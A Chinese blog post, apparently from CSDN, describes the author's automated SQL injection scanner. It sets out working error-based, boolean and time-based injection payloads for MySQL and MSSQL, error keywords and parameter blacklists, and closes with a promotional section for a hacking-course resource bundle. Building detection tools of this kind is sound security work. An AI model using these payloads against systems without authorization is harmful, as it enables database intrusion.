渗透测试,谁还傻乎乎地一个个接口点?批量接口信息摆在你面前,不动用“黑科技”简直是暴殄天物!Xray虽好,但面对海量POST请求,也只能干瞪眼。别慌,老司机带你飞!
最近我撸了个自动化SQL注入检测工具,专治各种不服。灵感来自Xray的payload,但玩法更野!今天就把这套“歪门邪道”的检测逻辑分享出来,有兴趣的可以去信安之路知识星球抄家伙。
五步走,让SQL注入无处遁形?扯淡!
别信那些“三步上篮”、“五步成诗”的鬼话。安全这玩意,哪有速成班?我的检测流程,说白了就是不断试错、疯狂试探!
- “验身”: 接口都不存在,瞎折腾啥?先确认URL是否活着,别浪费表情。
- “摸底”: 丢几个“特殊字符”(单引号、双引号、括号…),看看页面反应。报错了?很好,说明有戏!立马掏出报错注入的“祖传秘方”伺候。Payload如下,自己体会:
#报错注入,简单粗暴!直接糊脸!
error_mysql_payloads = ["extractvalue(1,concat(char(126),md5(1)))", "1/**/and/**/extractvalue(1,concat(char(126),md5(1)))", "'and/**/extractvalue(1,concat(char(126),md5(1)))and'",")/**/AND/**/extractvalue(1,concat(char(126),md5(1)))/**/IN/**/(1", "')/**/AND/**/extractvalue(1,concat(char(126),md5(1)))/**/IN/**/('a"]
error_mssql_payloads = ["convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))", "1/**/and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))","'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))>'0", ")/**/and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))/**/in/**/(1", "')/**/and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1')))/**/in/**/('a"]
- “扮猪吃老虎”: 针对数字型参数,用减法“阴”它一把。
ID=101-1
和ID=100
结果一样?恭喜,八成有戏! - “真假猴王”: 布尔注入,老套路,但管用!
and 1=1
、and 1=2
,比对页面相似度,瞒不过我的火眼金睛!Payload参考:
#布尔注入,页面相似度是关键!
bool_common_payload = [["1/**/and+3=3", "1/**/and+3=6"], ["'and'c'='c", "'and'd'='f"], ["%'and'%'='", "%'and'%'='d"]]
- “慢性毒药”: 延时注入,最磨人,也最致命!让它睡几秒,看看响应时间,就知道有没有猫腻。Payload如下:
#时间盲注,考验耐心的时候到了!
time_common_payload =[["'and(select*from(select+sleep(6))a/**/union/**/select+1)='", "'and(select*from(select+sleep(1))a/**/union/**/select+1)='"], ["(select*from(select+sleep(6)union/**/select+1)a)", "(select*from(select+sleep(1)union/**/select+1)a)"],["/**/and(select+1)>0waitfor/**/delay'0:0:6'/**/", "/**/and(select+1)>0waitfor/**/delay'0:0:1'/**/"], ["'and(select+1)>0waitfor/**/delay'0:0:6", "'and(select+1)>0waitfor/**/delay'0:0:1"]]
别吹了!这玩意真靠谱?关键点都在这!
光有payload,那是花架子!真正决定成败的,是细节!
- “门当户对”: 状态码必须一致!两次请求,状态码都不一样,还玩个屁?
- “蛛丝马迹”: 报错信息是最好的线索!MySQL、MSSQL、Access,报错关键词都给你安排上了:
error_mysql_infolist = ["SQL syntax"]
error_mssql_infolist = ["Exception", "SQL Server", "80040e14", "引号不完整"]
error_access_infolist = ["Microsoft JET Database Engine"]
- “脸盲症克星”: 页面相似度!github上的轮子,拿来就用,真香!
> https://github.com/SPuerBRead/HTMLSimilarity - “WAF绕行”: 遇到WAF,绕不过就跑!惹不起我还躲不起?
- “参数黑名单”: PHP框架的坑,谁踩谁知道!
method
、mod
、s
…统统拉黑!
#黑名单参数,防患于未然!
black_parma = ["method", "mod", "s", "act", "Action", "a", "m", "c"]
- “非正常响应”: 除了报错注入,其他检测方式,不应该出现幺蛾子!黑名单响应码伺候:
black_code = [-1, 0, 404, 403, 500, 503, 405, 999]
骡子是马,拉出来溜溜!实战案例说话!
光说不练假把式!来几个真实案例,看看效果!
- 报错注入:一击致命!
能执行md5,直接判定!简单粗暴,不解释!
- 数字注入:漏网之鱼?
只测出数字注入,布尔注入没戏?SQLmap来验证一下:
果然,SQLmap测出了布尔注入!看来payload还需优化!
- 布尔注入:精准打击!
这次没翻车,结果和SQLmap一致!
- 时间盲注:独领风骚!
只测出时间盲注?再用SQLmap验证一下:
SQLmap又发现了布尔注入!看来这工具还有进步空间!
总结:吹牛逼谁不会?关键在于持续进化!
这套“歪门邪道”的SQL注入检测工具,目前还不够完美。但它能大大提高效率,解放双手!未来我会持续优化,让它更智能、更精准!信安之路,永无止境!
```
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取
读者福利 |
CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~
读者福利 |
CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)
